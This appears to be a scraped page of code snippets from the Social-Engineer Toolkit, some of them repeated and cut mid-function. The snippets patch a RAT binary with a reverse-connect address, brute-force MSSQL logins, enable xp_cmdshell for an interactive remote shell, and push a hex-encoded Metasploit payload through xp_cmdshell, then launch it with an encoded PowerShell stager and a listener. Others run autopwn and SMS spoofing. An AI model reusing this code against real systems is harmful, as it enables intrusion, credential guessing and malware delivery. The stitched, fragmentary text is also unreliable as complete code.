def prepare_ratte(ipaddr,ratteport, persistent,customexe):
        
        core.print_status("preparing RATTE...")
        # replace ipaddress with one that we need for reverse connection back
        ############
        #Load content of RATTE
        ############
        fileopen=open("src/payloads/ratte/ratte.binary" , "rb")
        data=fileopen.read()
        fileopen.close()

        ############
        #PATCH Server IP into RATTE
        ############
        filewrite=open("src/program_junk/ratteM.exe", "wb")

        host=int(len(ipaddr)+1) * "X"
        rPort=int(len(str(ratteport))+1) * "Y"
        pers=int(len(str(persistent))+1) * "Z"
        #check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
        if len(str(customexe)) > 0:
                cexe=int(len(str(customexe))+1) * "Q"
        else:
                cexe=""

        filewrite.write(data.replace(str(cexe), customexe+"\x00", 1).replace(str(pers), persistent+"\x00", 1).replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )
        filewrite.close()
Example #2
0
def update_config():

    init_file = file("%s/config/set_config" % (definepath), "r")
    new_config = file("%s/config/set_config.py" % (definepath), "w")
    timestamp = str(datetime.datetime.now())

    new_config.write(
        """#!/usr/bin/python\n
#######################################################################
##                    DO NOT MODIFY THIS FILE                        ##
#######################################################################
#  This file is generated by a routine inside SET, for use by SET.    #
#                                                                     # 
#  Settings should be modified in the set_config file, and then       #
#  SET updated using the 'Update SET Configuration' menu item in      #
#  the main menu. This file will be updated with the new settings.    #
#                                                                     #
#  set_config.py generated: """
        + timestamp
        + """                #
#                                                                     #
#######################################################################
CONFIG_DATE='"""
        + timestamp
        + """'\n"""
    )
    for line in init_file:
        if not line.startswith("#"):
            line = line.rstrip()
            line = line.split("=")
            setting = line[0]
            value = line[1]
            if value == "ON":
                value = "True"
            elif value == "OFF":
                value = "False"
            else:
                pass

            quoted = value_type(setting)

            if quoted:
                new_config.write(setting + '="' + value + '"\n')
            else:
                new_config.write(setting + "=" + value + "\n")

    init_file.close()
    new_config.close()
    sleep(1)
    from set_config import CONFIG_DATE as verify

    print_info("New set_config.py file generated on: %s" % timestamp)
    print_info("Verifying configuration update...")
    if verify == timestamp:
        print_status("Update verified, config timestamp is: %s" % timestamp)
    else:
        print_error("Update failed? Timestamp on config file is: %s" % verify)
    print_status("SET is using the new config, no need to restart")
Example #3
0
def brute(ipaddr, username, port, wordlist):
    # if ipaddr being passed is invalid
    if ipaddr == "":
        return False

    if ":" in ipaddr:
        ipaddr = ipaddr.split(":")
        ipaddr, port = ipaddr

    ipaddr = str(ipaddr)
    port = str(port)

    # base counter for successful brute force
    counter = 0
    # build in quick wordlist
    if wordlist == "default":
        wordlist = "src/fasttrack/wordlist.txt"

    # read in the file
    successful_password = None
    with open(wordlist) as passwordlist:
        for password in passwordlist:
            password = password.rstrip()
            # try actual password
            try:
                # connect to the sql server and attempt a password

                print("Attempting to brute force {bold}{ipaddr}:{port}{endc}"
                      " with username of {bold}{username}{endc}"
                      " and password of {bold}{passwords}{endc}".format(ipaddr=ipaddr,
                                                                        username=username,
                                                                        passwords=password,
                                                                        port=port,
                                                                        bold=core.bcolors.BOLD,
                                                                        endc=core.bcolors.ENDC))

                target_server = _mssql.connect("{0}:{1}".format(ipaddr, port),
                                               username,
                                               password)
                if target_server:
                    core.print_status("\nSuccessful login with username {0} and password: {1}".format(username,
                                                                                                      password))
                    counter = 1
                    successful_password = password
                    break

            # if login failed or unavailable server
            except:
                pass

    # if we brute forced a machine
    if counter == 1:
        return ",".join([ipaddr, username, port, successful_password])
    # else we didnt and we need to return a false
    else:
        if ipaddr:
            core.print_warning("Unable to guess the SQL password for {0} with username of {1}".format(ipaddr, username))
        return False
Example #4
0
def cmdshell(ipaddr, port, username, password, option):
    # connect to SQL server
    mssql = _mssql.connect(ipaddr + ":" + str(port), username, password)
    setcore.print_status("Connection established with SQL Server...")
    setcore.print_status("Attempting to re-enable xp_cmdshell if disabled...")
    try:
        mssql.execute_query("EXEC master.dbo.sp_configure 'show advanced options', 1")
        mssql.execute_query("RECONFIGURE")
        mssql.execute_query("EXEC master.dbo.sp_configure 'xp_cmdshell', 1")
        mssql.execute_query("RECONFIGURE")
    except Exception, e:
        pass
Example #5
0
def _do_sms():
    print("""\n        ----- The Social-Engineer Toolkit (SET) SMS Spoofing Attack Vector -----\n""")
    print("This attack vector relies upon a third party service called www.spoofmytextmessage.com. "
          "This is a third party service outside of the control from the Social-Engineer Toolkit. "
          "The fine folks over at spoofmytextmessage.com have provided an undocumented API for us "
          "to use in order to allow SET to perform the SMS spoofing. You will need to visit "
          "https://www.spoofmytextmessage.com and sign up for an account. They example multiple "
          "payment methods such as PayPal, Bitcoin, and many more options. Once you purchase your "
          "plan that you want, you will need to remember your email address and password used for "
          "the account. SET will then handle the rest.\n")

    print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
    print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
          "spoofmytextmessage.com\n")

    core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
                     "services from spoofmytextmessage.com and you are fully aware of your countries "
                     "legal stance on SMS spoofing prior to performing any of these. By accepting yes "
                     "you fully acknowledge these terms and will not use them for unlawful purposes.")

    message = input("\nDo you accept these terms (yes or no): ")

    if message == "yes":
        core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
        email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
        core.print_status("Note that the password below will be masked and you will not see the output.")
        pw = getpass.getpass(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
        core.print_status("The next section requires a country code, this is the code you would use to dial "
                          "to the specific country, for example if I was sending a message to 555-555-5555 to "
                          "the United States (or from) you would enter +1 below.")

        tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
                                                "(for example U.S would be '+1')[+1]"))
        if tocountry == "":
            tocountry = "+1"

        fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
                                              "(for example U.S. would be '+1')[+1]"))
        if fromcountry == "":
            fromcountry = "+1"

        tonumber = input(core.setprompt(["7"], "Enter the number to send the SMS TO - be sure to include "
                                           "country code (example: +15551234567)"))

        fromnumber = input(core.setprompt(["7"], "Enter the number you want to come FROM - be sure to include "
                                             "country code (example: +15551234567)"))

        message = input(core.setprompt(["7"], "Enter the message you want to send via the text message"))

        # note that the function for this is in a compiled python file with no source -
        # this was done at the request of the third party we use since the API is not documented.
        # I hand wrote the code and can validate its authenticity - it imports python requests
        # and json and uses that to interact with the API. From a security standpoint if you are
        # uncomfortable using this - feel free to ping me and I can walk you through what I do
        # without giving away the API from the third party.
        from src.sms.protectedapi import send_sms
        send_sms(email, pw, tocountry, fromcountry, fromnumber, tonumber, message)

    else:
        core.print_status("Okay! Exiting out of the Social-Engineer Toolkit SMS Spoofing Attack Vector...")
def gen_qrcode(url):
    # generate the qrcode
    qr = qrcode.QRCode(5, error_correction=qrcode.constants.ERROR_CORRECT_L)
    qr.add_data(url)
    qr.make()
    im = qr.make_image()
    time.sleep(1)

    qr_img_path = os.path.join(core.setdir, "reports/qrcode_attack.png")

    if os.path.isfile(qr_img_path):
        os.remove(qr_img_path)
    # save the image out
    im.save(qr_img_path, format='png')
    # print that its been successful
    core.print_status("QRCode has been generated under {0}".format(qr_img_path))
def launch():
    """ here we cant use the path for metasploit via setcore.meta_path. If the full path is specified it breaks
            database support for msfconsole for some reason. reported this as a bug, may be fixed soon... until then
            if path variables aren't set for msfconsole this will break, even if its specified in set_config """

    # launch the attack
    core.print_status("Launching Metasploit and attacking the systems specified. This may take a moment..")
    # try/catch block
    try:
        child = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path + 'msfconsole'),
                                                          os.path.join(core.userconfigpath, "autopwn.answer")))
        child.interact()

    # handle exceptions and log them
    except Exception as error:
        core.log(error)
def prep(database, ranges):
    print("\n")
    core.print_status("Prepping the answer file based on what was specified.")
    # prep the file to be written
    with open("src/program_junk/autopwn.answer", "w") as filewrite:
        core.print_status("Using the {0} sql driver for autopwn".format(database))
        filewrite.write("db_driver {0}\r\n".format(database))
        core.print_status("Autopwn will attack the following systems: {0}".format(ranges))
        filewrite.write("db_nmap {0}\r\n".format(ranges))
        filewrite.write("db_autopwn -p -t -e -r\r\n")
        filewrite.write("jobs -K\r\n")
        filewrite.write("sessions -l\r\n")
        core.print_status("Answer file has been created and prepped for delivery into Metasploit.\n")
def cmdshell(ipaddr,port,username,password,option):
        # connect to SQL server
        mssql = _mssql.connect(ipaddr + ":" + str(port), username, password)
        setcore.print_status("Connection established with SQL Server...")
        setcore.print_status("Attempting to re-enable xp_cmdshell if disabled...")
        try:
                mssql.execute_query("EXEC master.dbo.sp_configure 'show advanced options', 1")
                mssql.execute_query("RECONFIGURE")
                mssql.execute_query("EXEC master.dbo.sp_configure 'xp_cmdshell', 1")
                mssql.execute_query("RECONFIGURE")
        except Exception, e: pass
        setcore.print_status("Enter your Windows Shell commands in the xp_cmdshell - prompt...")
        mssql.select_db('master')
        while 1:
                # cmdshell command
                cmd = raw_input("xp_cmdshell> ")
                # exit if we want
                if cmd == "quit" or cmd == "exit": break
                mssql.execute_query("xp_cmdshell '%s'" % (cmd))
                if cmd != "":
                        for line in mssql:
                                # formatting for mssql output
                                line = str(line)
                                line = line.replace("', 'output': '", "\n")
                                line = line.replace("{0: '", "")
                                line = line.replace("'}", "")
                                line = line.replace("{0: None, 'output': None}", "")
                                line = line.replace("\\r", "")
                                line = line.replace("The command completed with one or more errors.", "")
                                print line
Example #10
0
def cmdshell(ipaddr, port, username, password, option):
    # connect to SQL server
    mssql = tds.MSSQL(ipaddr, int(port))
    mssql.connect()
    mssql.login("master", username, password)
    core.print_status("Connection established with SQL Server...")
    core.print_status("Attempting to re-enable xp_cmdshell if disabled...")
    try:
        mssql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;"
                        "RECONFIGURE;"
                        "exec master.dbo.sp_configure 'xp_cmdshell', 1;"
                        "RECONFIGURE;")
    except:
        pass
    core.print_status("Enter your Windows Shell commands in the xp_cmdshell - prompt...")

    while True:
        # prompt mssql
        cmd = input("mssql>")
        # if we want to exit
        if cmd == "quit" or cmd == "exit":
            break
        # if the command isnt empty
        elif cmd:
            # execute the command
            mssql.sql_query("exec master..xp_cmdshell '{0}'".format(cmd))
            # print the rest of the data
            mssql.printReplies()
            mssql.colMeta[0]['TypeData'] = 80 * 2
            mssql.printRows()
Example #11
0
def brute(ipaddr, username, port, wordlist):
    # if ipaddr being passed is invalid
    if ipaddr == "":
        return False
    if ipaddr != "":
        # base counter for successful brute force
        counter = 0
        # build in quick wordlist
        if wordlist == "default":
            wordlist = "src/fasttrack/wordlist.txt"

        # read in the file
        password = file(wordlist, "r")
        for passwords in password:
            passwords = passwords.rstrip()
            # try actual password
            try:
                print "Attempting to brute force " + setcore.bcolors.BOLD + ipaddr + setcore.bcolors.ENDC + " with username of " + setcore.bcolors.BOLD + username + setcore.bcolors.ENDC + " and password of " + setcore.bcolors.BOLD + passwords + setcore.bcolors.ENDC
                # connect to the sql server and attempt a password
                target_server = _mssql.connect(ipaddr + ":" + str(port), username, passwords)
                # print that we were successful
                setcore.print_status("\nSuccessful login with username %s and password: %s" % (username, passwords))
                counter = 1
                break

            # if invalid password
            except Exception, e:
                pass

        # if we brute forced a machine
        if counter == 1:
            return ipaddr + "," + username + "," + str(port) + "," + passwords
        # else we didnt and we need to return a false
        else:
            if ipaddr != "":
                setcore.print_warning(
                    "Unable to guess the SQL password for %s with username of %s" % (ipaddr, username)
                )
            return False
def prepare_ratte(ipaddr, ratteport, persistent, customexe):
    core.print_status("preparing RATTE...")
    # replace ipaddress with one that we need for reverse connection back
    ############
    # Load content of RATTE
    ############
    with open("src/payloads/ratte/ratte.binary", "rb") as fileopen:
        data = fileopen.read()

    ############
    # PATCH Server IP into RATTE
    ############
    with open(os.path.join(userconfigpath, "ratteM.exe"), 'wb') as filewrite:

        host = (len(ipaddr) + 1) * "X"
        r_port = (len(str(ratteport)) + 1) * "Y"
        pers = (len(str(persistent)) + 1) * "Z"
        # check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
        if customexe:
            cexe = (len(str(customexe)) + 1) * "Q"
        else:
            cexe = ""

        filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1))
Example #13
0
Set objLoc =  CreateObject("WbemScripting.SWbemLocator")
Set objSMS= objLoc.ConnectServer(strSMSServer, "root\sms")
Set Results = objSMS.ExecQuery _
   ("SELECT * From SMS_ProviderLocation WHERE ProviderForLocalSite = true")
 For each Loc in Results
   If Loc.ProviderForLocalSite = True Then
     Set objSMS2 = objLoc.ConnectServer(Loc.Machine, "root\sms\site_"& _
        Loc.SiteCode)
     strSMSSiteCode = Loc.SiteCode
   end if
 Next

Set objPkgs = objSMS2.ExecQuery("select * from SMS_Package where PackageID = '" & strPackageID & "'")
for each objPkg in objPkgs
objPkg.RefreshPkgSource(0)
Next
'''.format(sms_server, package_id)

# write out the file to reports
with open(os.path.join(core.userconfigpath, "reports/sccm_configuration.txt"),
          'w') as filewrite:
    filewrite.write(configuration)
core.print_status(
    "The SCCM configuration script has been successfully created.")
core.print_status(
    "You need to copy the script to the startup folder of the server.")
core.print_status("Report has been exported to {0}".format(
    os.path.join(core.definepath, "reports/sccm_configuration.txt")))
pause = input("Press " + core.bcolors.RED + "{return} " + core.bcolors.ENDC +
              "to exit this menu.")
def deploy_hex2binary(ipaddr,port,username,password,option):
        # connect to SQL server
        target_server = _mssql.connect(ipaddr + ":" + str(port), username, password)
        setcore.print_status("Connection established with SQL Server...")
        setcore.print_status("Converting payload to hexadecimal...")
        # if we are using a SET interactive shell payload then we need to make the path under web_clone versus program_junk
        if os.path.isfile("src/program_junk/set.payload"):
                web_path = ("src/program_junk/web_clone/")
        # then we are using metasploit
        if not os.path.isfile("src/program_junk/set.payload"):
                if operating_system == "posix":
                        web_path = ("src/program_junk")
                        subprocess.Popen("cp src/html/msf.exe src/program_junk/ 1> /dev/null 2> /dev/null", shell=True).wait()
                        subprocess.Popen("cp src/program_junk/msf2.exe src/program_junk/msf.exe 1> /dev/null 2> /dev/null", shell=True).wait()
        fileopen = file("%s/msf.exe" % (web_path), "rb")
        # read in the binary
        data = fileopen.read()
        # convert the binary to hex
        data = binascii.hexlify(data)
        # we write out binary out to a file
        filewrite = file("src/program_junk/payload.hex", "w")
        filewrite.write(data)
        filewrite.close()

        # if we are using metasploit, start the listener
        if not os.path.isfile("%s/src/program_junk/set.payload" % (definepath)):
                if operating_system == "posix":
                        import pexpect
                        meta_path = setcore.meta_path()
                        setcore.print_status("Starting the Metasploit listener...")
                        child2 = pexpect.spawn("%s/msfconsole -r src/program_junk/meta_config" % (meta_path))

        # random executable name
        random_exe = setcore.generate_random_string(10,15)

        #
        # next we deploy our hex to binary if we selected option 1 (powershell)
        #

        if option == "1":
                # powershell command here, needs to be unicoded then base64 in order to use encodedcommand
                powershell_command = unicode("$s=gc \"C:\\Windows\\system32\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"C:\\Windows\\system32\\%s.exe\",$b)" % (random_exe,random_exe))
        
                ########################################################################################################################################################################################################
                #
                # there is an odd bug with python unicode, traditional unicode inserts a null byte after each character typically.. python does not so the encodedcommand becomes corrupt
                # in order to get around this a null byte is pushed to each string value to fix this and make the encodedcommand work properly
                #
                ########################################################################################################################################################################################################

                # blank command will store our fixed unicode variable
                blank_command = ""
                # loop through each character and insert null byte
                for char in powershell_command:
                        # insert the nullbyte
                        blank_command += char + "\x00"

                # assign powershell command as the new one
                powershell_command = blank_command
                # base64 encode the powershell command
                powershell_command = base64.b64encode(powershell_command)
                # this will trigger when we are ready to convert

        #
        # next we deploy our hex to binary if we selected option 2 (debug)
        #
        if option == "2":
                setcore.print_status("Attempting to re-enable the xp_cmdshell stored procedure if disabled..")
                # reconfigure the stored procedure and re-enable
                try:
			target_server.execute_query("EXEC master.dbo.sp_configure 'show advanced options', 1")
                        target_server.execute_query("RECONFIGURE")
                        target_server.execute_query("EXEC master.dbo.sp_configure 'xp_cmdshell', 1")
                        target_server.execute_query("RECONFIGURE")
                except: pass
                # we selected hex to binary
                fileopen = file("src/payloads/hex2binary.payload", "r")
                # specify random filename for deployment
                setcore.print_status("Deploying initial debug stager to the system.")
                random_file = setcore.generate_random_string(10,15)
                for line in fileopen:
                        # remove bogus chars
                        line = line.rstrip()
                        # make it printer friendly to screen
                        print_line = line.replace("echo e", "")
                        setcore.print_status("Deploying stager payload (hex): " + setcore.bcolors.BOLD + str(print_line) + setcore.bcolors.ENDC)
                        target_server.execute_query("xp_cmdshell '%s>> %s'" % (line,random_file))
                setcore.print_status("Converting the stager to a binary...")
                # here we convert it to a binary
                target_server.execute_query("xp_cmdshell 'debug<%s'" % (random_file))
                setcore.print_status("Conversion complete. Cleaning up...")
                # delete the random file
                target_server.execute_query("xp_cmdshell 'del %s'" % (random_file))

        # here we start the conversion and execute the payload

        setcore.print_status("Sending the main payload via to be converted back to a binary.")
        # read in the file 900 bytes at a time
        fileopen = file("src/program_junk/payload.hex", "r")
        #random_exe = setcore.generate_random_string(10,15)
        while fileopen:
                data = fileopen.read(900).rstrip()
                # if data is done then break out of loop because file is over
                if data == "": break
                setcore.print_status("Deploying payload to victim machine (hex): " + setcore.bcolors.BOLD + str(data) + setcore.bcolors.ENDC + "\n")
                target_server.execute_query("xp_cmdshell 'echo %s>> %s'" % (data, random_exe))
        setcore.print_status("Delivery complete. Converting hex back to binary format.")

        # if we are using debug conversion then convert our binary
        if option == "2":
                target_server.execute_query("xp_cmdshell 'rename MOO.bin %s.exe'" % (random_file))
                target_server.execute_query("xp_cmdshell '%s %s'" % (random_file, random_exe))
                # clean up the old files
                setcore.print_status("Cleaning up old files..")
                target_server.execute_query("xp_cmdshell 'del %s'" % (random_exe))

        # if we are using SET payload
        if os.path.isfile("%s/src/program_junk/set.payload" % (definepath)):           
                setcore.print_status("Spawning seperate child process for listener...")
                try: shutil.copyfile("src/program_junk/web_clone/x", definepath)
                except: pass
                
                # start a threaded webserver in the background
                subprocess.Popen("python src/html/fasttrack_http_server.py", shell=True)
                # grab the port options
                if os.path.isfile("%s/src/program_junk/port.options" % (definepath)):
                        fileopen = file("%s/src/program_junk/port.options" % (definepath), "r")
                        port = fileopen.read().rstrip()
                # if for some reason the port didnt get created we default to 443
                if not os.path.isfile("%s/src/program_junk/port.options" % (definepath)): port = "443" # default 443
                # launch the python listener through pexpect
                # need to change the directory real quick
                os.chdir(definepath)
                # now back 
                os.chdir("src/program_junk/web_clone/")
	setcore.print_status("Pausing 10 seconds to let the system catch up...")
	time.sleep(10)
        setcore.print_status("Triggering payload stager...")
        # thread is needed here due to the connect not always terminating thread, it hangs if thread isnt specified 
        import thread
        # execute the payload
        # we append more commands if option 1 is used
        if option == "1":
                random_exe_execute = random_exe
                random_exe = "powershell -EncodedCommand " + powershell_command

        sql_command = ("xp_cmdshell '%s'" % (random_exe))
        # start thread of SQL command that executes payload
        thread.start_new_thread(target_server.execute_query, (sql_command,))
        time.sleep(1)
        # trigger the exe if option 1 is used
        if option == "1":
                sql_command = ("xp_cmdshell '%s'" % (random_exe_execute))
                thread.start_new_thread(target_server.execute_query, (sql_command,))
        # if pexpect doesnt exit right then it freaks out
        if os.path.isfile("%s/src/program_junk/set.payload" % (definepath)):
                os.system("python ../../payloads/set_payloads/listener.py")
        try:
                # interact with the child process through pexpect
                child2.interact()
                try:
                        os.remove("x")
                except: pass
        except: pass
Example #15
0
#
# this will deploy an already prestaged executable that reads in hexadecimal and back to binary
#
def cmdshell(ipaddr, port, username, password, option):
    # connect to SQL server
    mssql = _mssql.connect(ipaddr + ":" + str(port), username, password)
    setcore.print_status("Connection established with SQL Server...")
    setcore.print_status("Attempting to re-enable xp_cmdshell if disabled...")
    try:
        mssql.execute_query(
            "EXEC sp_configure 'show advanced options', 1;GO;RECONFIGURE;GO;EXEC sp_configure 'xp_cmdshell', 1;GO;RECONFIGURE;GO;"
        )
        mssql.execute_query("RECONFIGURE;")
    except Exception, e:
        pass
    setcore.print_status(
        "Enter your Windows Shell commands in the xp_cmdshell - prompt...")
    mssql.select_db('master')
    while 1:
        # cmdshell command
        cmd = raw_input("xp_cmdshell> ")
        # exit if we want
        if cmd == "quit" or cmd == "exit": break
        mssql.execute_query("xp_cmdshell '%s'" % (cmd))
        if cmd != "":
            for line in mssql:
                # formatting for mssql output
                line = str(line)
                line = line.replace("', 'output': '", "\n")
                line = line.replace("{0: '", "")
                line = line.replace("'}", "")
                line = line.replace("{0: None, 'output': None}", "")
#!/usr/bin/env python
# coding=utf-8

import subprocess
import src.core.setcore as core

#
# Simple python script to kill things created by the SET wifi attack vector
#

interface = input(core.setprompt(["8"], "Enter your wireless interface (ex: wlan0): "))

# fix a bug if present
core.print_status("Attempting to set rfkill to unblock all if RTL is in use. Ignore errors on this.")
subprocess.Popen("rmmod rtl8187;"
                 "rfkill block all;"
                 "rfkill unblock all;"
                 "modprobe rtl8187;"
                 "rfkill unblock all;"
                 "ifconfig {0} up".format(interface),
                 shell=True).wait()

core.print_status("Killing airbase-ng...")
subprocess.Popen("killall airbase-ng", shell=True).wait()

core.print_status("Killing dhcpd3 and dhclient3...")
subprocess.Popen("killall dhcpd3", shell=True).wait()
subprocess.Popen("killall dhclient3", shell=True).wait()

core.print_status("Killing dnsspoof...")
subprocess.Popen("killall dnsspoof", shell=True).wait()
Example #17
0
def deploy_hex2binary(ipaddr, port, username, password, option):
    # connect to SQL server
    target_server = _mssql.connect(ipaddr + ":" + str(port), username,
                                   password)
    setcore.print_status("Connection established with SQL Server...")
    setcore.print_status("Converting payload to hexadecimal...")
    # if we are using a SET interactive shell payload then we need to make the path under web_clone versus program_junk
    if os.path.isfile("src/program_junk/set.payload"):
        web_path = ("src/program_junk/web_clone/")
    # then we are using metasploit
    if not os.path.isfile("src/program_junk/set.payload"):
        if operating_system == "posix":
            web_path = ("src/program_junk")
            subprocess.Popen(
                "cp src/html/msf.exe src/program_junk/ 1> /dev/null 2> /dev/null",
                shell=True).wait()
            subprocess.Popen(
                "cp src/program_junk/msf2.exe src/program_junk/msf.exe 1> /dev/null 2> /dev/null",
                shell=True).wait()
    fileopen = file("%s/msf.exe" % (web_path), "rb")
    # read in the binary
    data = fileopen.read()
    # convert the binary to hex
    data = binascii.hexlify(data)
    # we write out binary out to a file
    filewrite = file("src/program_junk/payload.hex", "w")
    filewrite.write(data)
    filewrite.close()

    # if we are using metasploit, start the listener
    if not os.path.isfile("%s/src/program_junk/set.payload" % (definepath)):
        if operating_system == "posix":
            import pexpect
            meta_path = setcore.meta_path()
            setcore.print_status("Starting the Metasploit listener...")
            child2 = pexpect.spawn(
                "%s/msfconsole -r src/program_junk/meta_config" % (meta_path))

    # random executable name
    random_exe = setcore.generate_random_string(10, 15)

    #
    # next we deploy our hex to binary if we selected option 1 (powershell)
    #

    if option == "1":
        # powershell command here, needs to be unicoded then base64 in order to use encodedcommand
        powershell_command = unicode(
            "$s=gc \"C:\\Windows\\system32\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"C:\\Windows\\system32\\%s.exe\",$b)"
            % (random_exe, random_exe))

        ########################################################################################################################################################################################################
        #
        # there is an odd bug with python unicode, traditional unicode inserts a null byte after each character typically.. python does not so the encodedcommand becomes corrupt
        # in order to get around this a null byte is pushed to each string value to fix this and make the encodedcommand work properly
        #
        ########################################################################################################################################################################################################

        # blank command will store our fixed unicode variable
        blank_command = ""
        # loop through each character and insert null byte
        for char in powershell_command:
            # insert the nullbyte
            blank_command += char + "\x00"

        # assign powershell command as the new one
        powershell_command = blank_command
        # base64 encode the powershell command
        powershell_command = base64.b64encode(powershell_command)
        # this will trigger when we are ready to convert

    #
    # next we deploy our hex to binary if we selected option 2 (debug)
    #
    if option == "2":
        setcore.print_status(
            "Attempting to re-enable the xp_cmdshell stored procedure if disabled.."
        )
        # reconfigure the stored procedure and re-enable
        try:
            target_server.execute_query(
                "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
            )
            # need to do it a second time for some reason on 2005
            target_server.execute_query("RECONFIGURE;")
        except:
            pass
        # we selected hex to binary
        fileopen = file("src/payloads/hex2binary.payload", "r")
        # specify random filename for deployment
        setcore.print_status("Deploying initial debug stager to the system.")
        random_file = setcore.generate_random_string(10, 15)
        for line in fileopen:
            # remove bogus chars
            line = line.rstrip()
            # make it printer friendly to screen
            print_line = line.replace("echo e", "")
            setcore.print_status("Deploying stager payload (hex): " +
                                 setcore.bcolors.BOLD + str(print_line) +
                                 setcore.bcolors.ENDC)
            target_server.execute_query("xp_cmdshell '%s>> %s'" %
                                        (line, random_file))
        setcore.print_status("Converting the stager to a binary...")
        # here we convert it to a binary
        target_server.execute_query("xp_cmdshell 'debug<%s'" % (random_file))
        setcore.print_status("Conversion complete. Cleaning up...")
        # delete the random file
        target_server.execute_query("xp_cmdshell 'del %s'" % (random_file))

    # here we start the conversion and execute the payload

    setcore.print_status(
        "Sending the main payload via to be converted back to a binary.")
    # read in the file 900 bytes at a time
    fileopen = file("src/program_junk/payload.hex", "r")
    #random_exe = setcore.generate_random_string(10,15)
    while fileopen:
        data = fileopen.read(900).rstrip()
        # if data is done then break out of loop because file is over
        if data == "": break
        setcore.print_status("Deploying payload to victim machine (hex): " +
                             setcore.bcolors.BOLD + str(data) +
                             setcore.bcolors.ENDC + "\n")
        target_server.execute_query("xp_cmdshell 'echo %s>> %s'" %
                                    (data, random_exe))
    setcore.print_status(
        "Delivery complete. Converting hex back to binary format.")

    # if we are using debug conversion then convert our binary
    if option == "2":
        target_server.execute_query("xp_cmdshell 'rename MOO.bin %s.exe'" %
                                    (random_file))
        target_server.execute_query("xp_cmdshell '%s %s'" %
                                    (random_file, random_exe))
        # clean up the old files
        setcore.print_status("Cleaning up old files..")
        target_server.execute_query("xp_cmdshell 'del %s'" % (random_exe))

    # if we are using SET payload
    if os.path.isfile("%s/src/program_junk/set.payload" % (definepath)):
        setcore.print_status("Spawning seperate child process for listener...")
        try:
            shutil.copyfile("src/program_junk/web_clone/x", definepath)
        except:
            pass

        # start a threaded webserver in the background
        #import src.html.fasttrack_http_server
        subprocess.Popen("python src/html/fasttrack_http_server.py",
                         shell=True)
        #child1 = pexpect.spawn("python src/html/fasttrack_http_server.py")
        # grab the port options
        if os.path.isfile("%s/src/program_junk/port.options" % (definepath)):
            fileopen = file("%s/src/program_junk/port.options" % (definepath),
                            "r")
            port = fileopen.read().rstrip()
        # if for some reason the port didnt get created we default to 443
        if not os.path.isfile("%s/src/program_junk/port.options" %
                              (definepath)):
            port = "443"  # default 443
        # launch the python listener through pexpect
        # need to change the directory real quick
        os.chdir(definepath)
        #child2 = pexpect.spawn("python src/payloads/set_payloads/listener.py %s" % (port))
        # now back
        os.chdir("src/program_junk/web_clone/")

    setcore.print_status("Triggering payload stager...")
    # thread is needed here due to the connect not always terminating thread, it hangs if thread isnt specified
    import thread
    # execute the payload
    # we append more commands if option 1 is used
    if option == "1":
        random_exe_execute = random_exe
        random_exe = "powershell -EncodedCommand " + powershell_command

    sql_command = ("xp_cmdshell '%s'" % (random_exe))
    # start thread of SQL command that executes payload
    thread.start_new_thread(target_server.execute_query, (sql_command, ))
    #time.sleep(5)
    time.sleep(1)
    # trigger the exe if option 1 is used
    if option == "1":
        sql_command = ("xp_cmdshell '%s'" % (random_exe_execute))
        thread.start_new_thread(target_server.execute_query, (sql_command, ))
    # if pexpect doesnt exit right then it freaks out
    if os.path.isfile("%s/src/program_junk/set.payload" % (definepath)):
        os.system("python ../../payloads/set_payloads/listener.py")
    try:
        # interact with the child process through pexpect
        child2.interact()
        try:
            os.remove("x")
        except:
            pass
    except:
        pass
# added to set 07/27/2012

strSMSServer = "{0}"
strPackageID = "{1}"

Set objLoc =  CreateObject("WbemScripting.SWbemLocator")
Set objSMS= objLoc.ConnectServer(strSMSServer, "root\sms")
Set Results = objSMS.ExecQuery _
   ("SELECT * From SMS_ProviderLocation WHERE ProviderForLocalSite = true")
 For each Loc in Results
   If Loc.ProviderForLocalSite = True Then
     Set objSMS2 = objLoc.ConnectServer(Loc.Machine, "root\sms\site_"& _
        Loc.SiteCode)
     strSMSSiteCode = Loc.SiteCode
   end if
 Next

Set objPkgs = objSMS2.ExecQuery("select * from SMS_Package where PackageID = '" & strPackageID & "'")
for each objPkg in objPkgs
objPkg.RefreshPkgSource(0)
Next
'''.format(sms_server, package_id)

# write out the file to reports
with open(os.path.join(core.userconfigpath, "reports/sccm_configuration.txt"), 'w') as filewrite:
    filewrite.write(configuration)
core.print_status("The SCCM configuration script has been successfully created.")
core.print_status("You need to copy the script to the startup folder of the server.")
core.print_status("Report has been exported to {0}".format(os.path.join(core.definepath, "reports/sccm_configuration.txt")))
pause = input("Press " + core.bcolors.RED + "{return} " + core.bcolors.ENDC + "to exit this menu.")
Example #19
0
        # grab state
        answer4 = raw_input(core.setprompt("0", "State"))
        # grab city
        answer5 = raw_input(core.setprompt("0", "City"))
        # generate the request crl
        subprocess.Popen(
            'keytool -genkey -alias MyCert -keyalg RSA -keysize 2048 -dname "CN=%s,O=%s,C=%s,ST=%s,L=%s"'
            % (answer1, answer2, answer3, answer4, answer5),
            shell=True).wait()
